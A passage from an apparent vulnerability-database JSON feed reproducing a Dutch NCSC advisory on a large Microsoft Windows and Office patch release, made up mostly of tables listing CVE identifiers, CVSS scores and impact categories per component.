Voordoen als andere gebruiker       | \n| CVE-2026-55021 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-55030 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55034 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-55126 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-55051 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55040 | 9.10 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-55052 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55135 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-56157 | 5.40 | Voordoen als andere gebruiker       | \n| CVE-2026-58277 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office Word: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55050 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55032 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55033 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55124 | 5.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-55127 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55055 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55038 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55132 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55134 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55142 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55128 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55130 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office PowerPoint: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55043 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55123 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55120 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56193 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-47290 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50301 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50314 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50467 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55017 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55018 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55022 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55023 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55125 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55026 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55027 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55028 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55047 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55045 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-55049 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55129 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55035 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55057 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55056 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55140 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55042 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55139 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50665 | 7.80 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56192 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56195 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office OneNote: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55133 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office Excel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50675 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50678 | 6.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54988 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55899 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55948 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58618 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-47642 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-48580 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55024 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50408 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55046 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55025 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55031 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55048 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55029 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55039 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55041 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55138 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55136 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55141 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55036 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55044 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55054 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55037 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55058 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55137 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55053 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55122 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55131 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54131 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55898 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55947 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55949 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56156 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n```", "creation_timestamp": "2026-07-15T01:00:50.799124Z"}, {"uuid": "201033ab-086e-4bc6-9704-d8a127c8f768", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54114", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50435 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50409 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Notification: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50337 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50334 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50406 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Image Acquisition: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50315 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Media Foundation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54993 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58610 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56189 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57090 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57094 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57087 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56186 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56181 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nCode Integrity DLL (ci.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50491 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Hub Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50479 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48564 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50370 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50518 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50685 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-50683 | 8.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56159 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58627 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows App Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48572 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48571 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50400 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58526 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Virtual Filtering Platform (VFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50432 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49787 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50420 | 6.20 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Networking: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58628 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50437 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Storage Spaces Direct: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49168 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50299 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Codecs Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57083 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Interface Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50454 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Internal Task Bar: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50293 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34346 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50312 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50462 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57093 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Redirected Drive Buffering: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              